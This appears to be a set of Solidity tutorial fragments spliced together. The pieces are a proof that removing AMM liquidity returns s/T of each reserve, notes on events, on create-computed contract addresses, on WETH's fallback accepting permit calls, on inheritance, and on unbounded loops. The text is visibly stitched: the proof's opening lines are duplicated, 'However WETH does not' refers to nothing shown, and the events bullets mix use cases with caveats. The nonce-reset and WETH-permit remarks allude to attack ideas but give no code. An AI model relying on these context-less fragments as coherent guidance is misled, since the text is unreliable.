        Let's find dx, dy such that

        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so

        dx = s / T * sqrt(xy) / sqrt(y / x)

        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y

                        Events in Solidity are a powerful tool that enables various advanced functionalities and architectures. Some advanced use cases for events include:

                        • Event filtering and monitoring for real-time updates and analytics

                        • Events cannot be used in view or pure functions, as they alter the state of the blockchain by storing logs.
                        • Be mindful of the gas cost associated with emitting events, especially when indexing parameters, as it can impact the overall gas consumption of your contract.

                                    Contract address deployed with create is computed in the following way.

                                    contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))

                                    where sender is the address of the deployer and nonce is the number of transactions sent by sender.

                                    Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

                                    However WETH does not. Surprisingly, when permit is called on WETH, the function call will execute without any errors.

                                    This is because the fallback inside WETH is execute when permit is called.

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      Function that is going to be overridden by a child contract must be declared as virtual.

                                      Function that is going to override a parent function must use the keyword override.

                                      Order of inheritance is important.

                                        Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

                                        For the reason above, while and do while loops are rarely used.
